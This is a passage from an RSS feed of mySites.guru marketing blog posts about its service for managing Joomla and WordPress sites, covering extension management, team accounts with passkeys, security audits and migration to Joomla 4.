&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;1019&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-03-28-at-23.38.46-1024x1019.kSRsKgB3_1hiOHQ.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-03-28-at-23.38.46-1024x1019.kSRsKgB3_Z1D17Aj.webp 640w, https://mysites.guru/_astro/Screenshot-2020-03-28-at-23.38.46-1024x1019.kSRsKgB3_q9EgP.webp 750w, https://mysites.guru/_astro/Screenshot-2020-03-28-at-23.38.46-1024x1019.kSRsKgB3_ZDce0O.webp 828w, https://mysites.guru/_astro/Screenshot-2020-03-28-at-23.38.46-1024x1019.kSRsKgB3_1hiOHQ.webp 1024w&quot; /&gt;&lt;em&gt;Example “Our Recommendation” block on the Learn More page&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;How the audit checks this&lt;/h2&gt;
&lt;p&gt;This block explains, in technical and non-technical language how the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt;/audit process gets its data for this check.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;557&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-03-28-at-23.40.44-1024x557.HNO6v7v4_d1o5N.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-03-28-at-23.40.44-1024x557.HNO6v7v4_1JPayU.webp 640w, https://mysites.guru/_astro/Screenshot-2020-03-28-at-23.40.44-1024x557.HNO6v7v4_Z2uPmr4.webp 750w, https://mysites.guru/_astro/Screenshot-2020-03-28-at-23.40.44-1024x557.HNO6v7v4_Z27oCW6.webp 828w, https://mysites.guru/_astro/Screenshot-2020-03-28-at-23.40.44-1024x557.HNO6v7v4_d1o5N.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Background information&lt;/h2&gt;
&lt;p&gt;This block includes any additional background context worth knowing about the issue.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;598&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-03-28-at-23.42.26-1024x598.Ddl15X44_1eY4Y6.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-03-28-at-23.42.26-1024x598.Ddl15X44_Z1mTLQ7.webp 640w, https://mysites.guru/_astro/Screenshot-2020-03-28-at-23.42.26-1024x598.Ddl15X44_JPaM9.webp 750w, https://mysites.guru/_astro/Screenshot-2020-03-28-at-23.42.26-1024x598.Ddl15X44_2qvg7q.webp 828w, https://mysites.guru/_astro/Screenshot-2020-03-28-at-23.42.26-1024x598.Ddl15X44_1eY4Y6.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;p&gt;Links to relevant documentation, official Joomla or WordPress resources, or third-party guidance. Where licensing prevents us from reproducing content directly, we link out instead.&lt;/p&gt;
&lt;h2&gt;Tools&lt;/h2&gt;
&lt;p&gt;Usually a direct link to the Investigate Tool, or back to the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Snapshot&lt;/a&gt;/Audit tabs if this check has a toggle.&lt;/p&gt;
&lt;h2&gt;Get Expert Assistance&lt;/h2&gt;
&lt;p&gt;If you need help fixing an issue, we offer fixed-fee &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;paid consultancy&lt;/a&gt; to resolve problems identified in a snapshot or audit. Full details and request form at &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>best practice</category><category>joomla</category><category>wordpress</category><category>security</category><enclosure url="https://mysites.guru/img/og/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru.webp" length="0" type="image/webp"/></item><item><title>Manage all your Joomla Sites Extensions with mySites.guru</title><link>https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/</guid><description>View, search and update every Joomla extension across all your connected sites from a single page in mySites.guru.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Two years ago we were tracking over four million relationships between Joomla sites, extensions and the update sites that are used for updates from the developers, and, we got it wrong. &lt;em&gt;&lt;strong&gt;Our architecture was wrong, and the performance sucked.&lt;/strong&gt;&lt;/em&gt; So we made the decision to remove it then.&lt;/p&gt;
&lt;p&gt;This has now been &lt;strong&gt;completely rewritten&lt;/strong&gt; (Using PHP 7.4 and Symfony 4.4)  for the mySites.guru service and has been re-released to &lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;great praise from our long term subscribers&lt;/a&gt;, some of which have been subscribers since 2012!&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;(Edit: This is an old article now, we now run on the very latest Symfony framework and the very latest PHP version (8.3.3 at the time of this edit!)&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Want to Update One Extension on Multiple Sites instantly?&lt;/h3&gt;
&lt;p&gt;Watch Tim walk you though it&lt;/p&gt;
&lt;div&gt;
  
&lt;/div&gt;
&lt;h3&gt;So what can I do with mySites.guru to manage my extensions?&lt;/h3&gt;
&lt;p&gt;These are the main headline features:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;You can &lt;a href=&quot;https://manage.mysites.guru/en/extensions/&quot;&gt;view a complete list of extensions&lt;/a&gt; installed on your portfolio of sites.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can &lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/c116dd35616c46e593169e67634f7bdc&quot;&gt;search for a specific extension&lt;/a&gt; regardless of version number, and see the sites that have that extension installed&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can &lt;a href=&quot;https://manage.mysites.guru/en/extensions/981a7d15f55d3dbd6780645ead34bb8d&quot;&gt;search for a specific version of a specific extension&lt;/a&gt;, and see all the sites that have that specific version installed&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can see how many other sites in our database, have those extensions installed too, as a &lt;a href=&quot;https://manage.mysites.guru/en/extensions/top/50&quot;&gt;Top 50 Extensions list&lt;/a&gt;, drawn from live data in our database of paying customers with almost 60,000 sites.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can filter the &lt;a href=&quot;https://manage.mysites.guru/en/tools/remoteinstall&quot;&gt;Mass Package Installer page&lt;/a&gt;, by all sites with a certain extension installed (Allowing you to push an update to just those sites)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;For any site, you can see each and every extension, plugin, template or module (or even library) installed, its version number, links to its developer and their support sites.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;As &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;previously announced&lt;/a&gt;, you can now set ANY EXTENSIONS update stream to automatically provide updates as soon as they are available - &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;fully automated updates of any Joomla extension&lt;/a&gt;. The &lt;a href=&quot;https://mysites.guru/blog/how-to-enable-joomla-extension-auto-updates/&quot;&gt;step-by-step how-to for enabling extension auto-updates safely&lt;/a&gt; covers the backup-first ordering and the rollback step.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can use the &lt;a href=&quot;https://manage.mysites.guru/en/tools/remoteinstall&quot;&gt;Mass Package Installer&lt;/a&gt; to push any Joomla extension, module, plugin, or template to all your sites in one go, or a selection of sites.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As you can see above, each of these features enables you to make wide-ranging and sweeping changes to ALL your sites in one go, or a sub set of those selected sites &lt;strong&gt;making the task of keeping your Joomla extensions up to date a breeze&lt;/strong&gt;. If you’re running a Joomla agency, this pairs naturally with the broader workflow for &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;managing multiple Joomla sites&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;So what are the Top Ten Extensions used by mySites.guru customers?&lt;/h3&gt;
&lt;p&gt;Well you could login and &lt;a href=&quot;https://manage.mysites.guru/en/extensions/top/50&quot;&gt;click the link&lt;/a&gt;, but here is a snapshot in time image below to give you a rough estimate on 1st December 2019. The list is a pretty obvious list of the major players in Joomla extensions, nothing exciting or different to our expectations really.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 783px) 783px, 100vw&quot; width=&quot;783&quot; height=&quot;531&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2019-11-30-at-20.24.35.DBxkt-N4_1nVzaQ.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2019-11-30-at-20.24.35.DBxkt-N4_JgkAb.webp 640w, https://mysites.guru/_astro/Screenshot-2019-11-30-at-20.24.35.DBxkt-N4_Z1QsvNU.webp 750w, https://mysites.guru/_astro/Screenshot-2019-11-30-at-20.24.35.DBxkt-N4_1nVzaQ.webp 783w&quot; /&gt;&lt;em&gt;To view the full list of 50, login and navigate to the realtime list.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 822px) 822px, 100vw&quot; width=&quot;822&quot; height=&quot;761&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2019-11-30-at-21.38.17.D4SPrGso_CYMB7.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2019-11-30-at-21.38.17.D4SPrGso_21eKei.webp 640w, https://mysites.guru/_astro/Screenshot-2019-11-30-at-21.38.17.D4SPrGso_1K9Krw.webp 750w, https://mysites.guru/_astro/Screenshot-2019-11-30-at-21.38.17.D4SPrGso_CYMB7.webp 822w&quot; /&gt;&lt;em&gt;Example overview page of an old extension on old (hackable) sites.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Extension management at scale is a core topic in our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>extensions</category><category>site management</category><enclosure url="https://mysites.guru/img/og/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru.webp" length="0" type="image/webp"/></item><item><title>Manage Multiple Sites With Your Whole Team</title><link>https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/</link><guid isPermaLink="true">https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/</guid><description>Add unlimited team members to your mySites.guru account with per-site and per-feature permissions. No per-seat fees.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you run an agency, you’ve probably been through the dance of sharing logins over Slack or forwarding alert emails to the right person. We added team accounts to mySites.guru so you can stop doing that. If you’re still getting your head around the core workflow, start with the guide to &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;managing multiple WordPress sites&lt;/a&gt; - team access is the natural next step once the basics are in place.&lt;/p&gt;
&lt;p&gt;Everyone on your team gets their own login. You pick which sites they can see and which tools they can use - backups only, monitoring only, full access, whatever makes sense. Want to give a client read-only access to just their own site? That works too. For client-facing sites, you can also &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;remove the WordPress logo from the admin bar&lt;/a&gt; and send &lt;a href=&quot;https://mysites.guru/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites/&quot;&gt;white-label reports&lt;/a&gt; so everything looks professionally branded.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Team members screenshot&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1402px) 1402px, 100vw&quot; width=&quot;1402&quot; height=&quot;1812&quot; src=&quot;https://mysites.guru/_astro/team-members-screenshot.DErsAWc5_QCWfs.webp&quot; srcset=&quot;https://mysites.guru/_astro/team-members-screenshot.DErsAWc5_Zudkcc.webp 640w, https://mysites.guru/_astro/team-members-screenshot.DErsAWc5_1JyToH.webp 750w, https://mysites.guru/_astro/team-members-screenshot.DErsAWc5_Z1Watjl.webp 828w, https://mysites.guru/_astro/team-members-screenshot.DErsAWc5_18BxgJ.webp 1080w, https://mysites.guru/_astro/team-members-screenshot.DErsAWc5_Z1iorp6.webp 1280w, https://mysites.guru/_astro/team-members-screenshot.DErsAWc5_QCWfs.webp 1402w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;How do you set it up?&lt;/h2&gt;
&lt;p&gt;Go to your &lt;a href=&quot;https://manage.mysites.guru/en/account/tools&quot;&gt;Account page&lt;/a&gt;, open the &lt;a href=&quot;https://manage.mysites.guru/en/teams/&quot;&gt;Your Team tab&lt;/a&gt;, and click &lt;strong&gt;Add Team Member&lt;/strong&gt;. Assign them sites and pick their permissions. They’ll get their own login and can start working right away.&lt;/p&gt;
&lt;h2&gt;How do notifications work?&lt;/h2&gt;
&lt;p&gt;Team members get all notifications by default. They can tweak their own &lt;a href=&quot;https://manage.mysites.guru/en/account/notifications/&quot;&gt;notification preferences&lt;/a&gt; without affecting yours. Changes anyone makes to site config or monitors apply to the site, not the user, so everyone sees the same thing.&lt;/p&gt;
&lt;h2&gt;How do passkeys and security work?&lt;/h2&gt;
&lt;p&gt;Every team account supports &lt;a href=&quot;https://mysites.guru/blog/passkeys-for-secure-login-to-mysites/&quot;&gt;passkeys&lt;/a&gt; - Face ID, Touch ID, Windows Hello, whatever your device offers. No codes to type, no authenticator app to fumble with, and nothing that can be phished. Your team logs in with a fingerprint or a glance and they’re in.&lt;/p&gt;
&lt;p&gt;Passkeys replace the weakest link in account security (passwords people reuse everywhere) with cryptographic keys that stay on their device. If someone on your team is still using &lt;code&gt;password123&lt;/code&gt; for everything, passkeys fix that problem permanently.&lt;/p&gt;
&lt;p&gt;Two Factor Authentication is also available for teams that want a more traditional setup. You can send password resets, disable accounts, or remove someone whenever you need to. That covers their mySites.guru login; to deal with the accounts they hold on the client sites themselves, use the &lt;a href=&quot;https://mysites.guru/blog/manage-users-across-every-joomla-and-wordpress-site/&quot;&gt;user manager&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;There are no per-seat fees. Team access is part of every plan - add as many people as you need.&lt;/p&gt;
&lt;p&gt;Need to give your bookkeeper a login without handing over your sites? The &lt;a href=&quot;https://mysites.guru/blog/accountant-portal-invoice-access/&quot;&gt;Accountant Portal&lt;/a&gt; is a restricted role that sees invoices and nothing else.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/teams/&quot;&gt;Add Your First Team Member Now&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Team collaboration is a key topic in our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;guide to multi-site management&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>teams</category><category>joomla</category><category>wordpress</category><category>agency tools</category><category>site management</category><enclosure url="https://mysites.guru/img/og/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team.webp" length="0" type="image/webp"/></item><item><title>Manage Multiple WordPress Sites</title><link>https://mysites.guru/blog/manage-multiple-wordpress-sites/</link><guid isPermaLink="true">https://mysites.guru/blog/manage-multiple-wordpress-sites/</guid><description>Centralise updates, backups, security audits and one-click logins across all your WordPress sites. One dashboard, unlimited sites, £19.99/month.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you’re looking after more than a handful of WordPress sites, you already know the pain. Logging into each one individually to check for updates, run backups, or see if something’s broken. It doesn’t scale, and it gets old fast.&lt;/p&gt;
&lt;p&gt;I built &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; to fix exactly this problem. One dashboard, all your sites, no per-site fees.&lt;/p&gt;
&lt;h2&gt;What is the problem with multiple WordPress sites?&lt;/h2&gt;
&lt;p&gt;A single WordPress site is fine. You log in, update your plugins, check your security, move on. But once you’re managing 10, 50, or 200 sites for clients, that approach falls apart. You end up with browser tabs everywhere, forgotten updates, and security issues you don’t find out about until a client emails you in a panic.&lt;/p&gt;
&lt;p&gt;Most people try to solve this with spreadsheets, bookmarks, or sheer willpower. None of those work long-term.&lt;/p&gt;
&lt;h2&gt;What does mySites.guru do differently?&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&quot;A dashboard for managing multiple wordpress sites in a single place&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;557&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-10-13.42.26-1024x557.Cwd7VD_S_ZtQtYG.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-10-13.42.26-1024x557.Cwd7VD_S_zFC2J.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-10-13.42.26-1024x557.Cwd7VD_S_2oM7n6.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-10-13.42.26-1024x557.Cwd7VD_S_ZFuiYy.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-10-13.42.26-1024x557.Cwd7VD_S_ZtQtYG.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/the-best-dashboard-for-unlimited-joomla-and-wordpress-sites/&quot;&gt;mySites.guru dashboard&lt;/a&gt; shows site health, update counts, security alerts and uptime status across every connected site. No more logging into each one.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;audit tools&lt;/a&gt; scan every file in your webspace for &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hacks and backdoors&lt;/a&gt;, not just the obvious stuff. You get &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerts&lt;/a&gt; when files change or someone logs into an admin panel. This matters because &lt;a href=&quot;https://mysites.guru/blog/site-management-is-about-more-than-just-upgrades-backups-and-uptime-monitoring/&quot;&gt;site management goes deeper than updates, backups, and uptime&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;Update WordPress core, plugins, and themes&lt;/a&gt; across hundreds of sites at once. You pick what to update, hit go, and get notified when it’s done. You can also &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disable automatic updates&lt;/a&gt; so nothing changes without your approval. The full process for &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;managing multiple WordPress sites&lt;/a&gt; - including how to structure your setup from day one - is covered in the dedicated landing page.&lt;/p&gt;
&lt;p&gt;Set up &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;automated backup schedules&lt;/a&gt; using Akeeba Backup or All-In-One Migration. You can &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;run backups across thousands of sites&lt;/a&gt; from the dashboard without touching FTP or SSH. The same is true for the files themselves: our &lt;a href=&quot;https://mysites.guru/blog/web-file-manager-for-joomla-and-wordpress/&quot;&gt;web file manager&lt;/a&gt; lets you browse, edit, upload and delete anything in a site’s webroot from the same dashboard, jailed to that site and opt-in per site.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;One-click admin login&lt;/a&gt; lets you jump straight into any site’s admin panel without remembering passwords. It’s the feature people tell me they use most.&lt;/p&gt;
&lt;p&gt;If you’re an agency, &lt;a href=&quot;https://mysites.guru/blog/whitelabeled-client-activity-reports-for-joomla-and-wordpress-sites/&quot;&gt;white-label client reports&lt;/a&gt; let you send branded reports to clients showing what you did, when, and why. Useful for proving your value at invoice time. You can also &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;remove the WordPress logo from the admin bar&lt;/a&gt; with one click for a cleaner, branded admin panel.&lt;/p&gt;
&lt;h2&gt;What best practice checks run on every site?&lt;/h2&gt;
&lt;p&gt;The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;snapshot and audit tools&lt;/a&gt; run over 100 checks on each site, twice a day. &lt;a href=&quot;https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/&quot;&gt;Security headers&lt;/a&gt;, PHP versions, &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;SSL certificates&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/about-the-disk-space-warnings-in-mysites-guru/&quot;&gt;disk space&lt;/a&gt;, and more. You don’t have to remember to check. It just tells you when something needs attention.&lt;/p&gt;
&lt;p&gt;Claim your &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; and see for yourself.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;The manage site page in mySites.guru for managing multiple wordpress sites&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;684&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-10-13.42.51-1024x684.I6NqPARt_Z10REex.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-10-13.42.51-1024x684.I6NqPARt_20PCNO.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-10-13.42.51-1024x684.I6NqPARt_Z1QG32e.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-10-13.42.51-1024x684.I6NqPARt_ZSY0qV.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-10-13.42.51-1024x684.I6NqPARt_Z10REex.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Does it work with more than just WordPress?&lt;/h2&gt;
&lt;p&gt;mySites.guru also works with Joomla and any PHP-based site. Craft, OctoberCMS, whatever you’re running. If it has PHP, you can connect it. Unlimited sites, one flat monthly price.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Multi-site management is covered comprehensively in our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;agency guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>multi-site management</category><category>agency tools</category><enclosure url="https://mysites.guru/img/og/blog/manage-multiple-wordpress-sites.webp" length="0" type="image/webp"/></item><item><title>Manage Your Joomla 4 Sites with mySites.guru</title><link>https://mysites.guru/blog/manage-your-joomla-4-sites-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/manage-your-joomla-4-sites-with-mysites-guru/</guid><description>mySites.guru fully supports Joomla 4 with the same audit, backup, update, and monitoring toolset available for every Joomla version since 1.5.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  
  &lt;p&gt;This article was written when Joomla 4 first launched. Joomla 4 has since reached end of life. If you&apos;re still running Joomla 4, plan your migration to the latest Joomla version sooner rather than later.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Joomla 4 was released on 17 August 2021 after nine years of development. mySites.guru had full support ready from day one.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;ℹ️ Full Joomla version support&lt;/p&gt;
  &lt;p&gt;mySites.guru is compatible with &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;every Joomla version from 1.5.0 onwards&lt;/a&gt; - including Joomla 4, 5, and 6. Even if a &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;site has been hacked&lt;/a&gt; and compromised, the audit and monitoring tools still work.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How does mySites.guru handle Joomla upgrades?&lt;/h2&gt;
&lt;p&gt;mySites.guru never performs major Joomla upgrades automatically. You have to log in and request that mySites.guru perform an upgrade.&lt;/p&gt;
&lt;p&gt;When Joomla 3.10.0 was first released, it mistakenly showed a one-click upgrade path to Joomla 4.0.0 in the admin panel. That was never supposed to happen - Joomla 3 to 4 was always &lt;a href=&quot;https://joomla3security.com/options/#migrate&quot;&gt;a migration, not an upgrade&lt;/a&gt;. We blocked the Joomla 3 to 4 upgrade path in mySites.guru entirely to prevent accidental major version jumps.&lt;/p&gt;
&lt;p&gt;The Joomla project later acknowledged the issue and moved Joomla 4.0.0 to a separate update stream so that Joomla 3.10.0 sites wouldn’t see it unless the &lt;a href=&quot;https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/&quot;&gt;update channel was manually changed&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;References:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Joomla_3.10_points_to_4.0_while_it_claims_to_be_on_the_Default_update_server&quot;&gt;Joomla 3.10 update server issue&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/35214&quot;&gt;Joomla CMS pull request #35214&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Joomla 1.5 through 3 all share a single connector plugin. Joomla 4, 5, and 6 each have their own dedicated connector, built to take advantage of the higher PHP requirements in each major version.&lt;/p&gt;
&lt;h2&gt;How do you migrate from Joomla 3 to Joomla 4?&lt;/h2&gt;
&lt;p&gt;Migrating to Joomla 4 means checking every template, extension, plugin, and module for compatibility. Joomla’s built-in Pre-Update Checker has a history of reporting incorrect compatibility results, so verify each extension manually.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;⚠️ Never migrate on a live site&lt;/p&gt;
  &lt;p&gt;Perform the Joomla 4 migration on a development copy first. Back up everything before you start, and test your backups.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The dedicated guide covers the mySites.guru side of this in more detail: &lt;a href=&quot;https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/&quot;&gt;Migrating to Modern Joomla When Using mySites.guru&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;How do you reconnect a migrated site to mySites.guru?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Uninstall the mySites.guru system plugin from the Joomla 3 site&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-delete-a-site-from-mysites-guru/&quot;&gt;Delete the site&lt;/a&gt; from your mySites.guru account&lt;/li&gt;
&lt;li&gt;Perform the mini-migration to Joomla 4&lt;/li&gt;
&lt;li&gt;Use the &lt;strong&gt;Add Another Site&lt;/strong&gt; process to generate the Joomla 4 connector and install it on your migrated site&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;What about Joomla 5 and Joomla 6?&lt;/h2&gt;
&lt;p&gt;Joomla 5 and 6 are also fully supported, each with their own dedicated connector plugin. mySites.guru also has a tool to check whether your servers are ready for Joomla 6:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 Technical Requirements&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot;&gt;Joomla 4 Technical Requirements&lt;/a&gt; - official minimum and recommended server specs&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Planning_for_Mini-Migration_-_Joomla_3.10.x_to_4.x&quot;&gt;Planning for Mini-Migration: Joomla 3.10 to 4&lt;/a&gt; - the Joomla project’s migration planning guide&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/Joomla_3.x_to_4.x_Step_by_Step_Migration&quot;&gt;Step by Step Migration: Joomla 3.x to 4.x&lt;/a&gt; - walks through each step of the migration&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
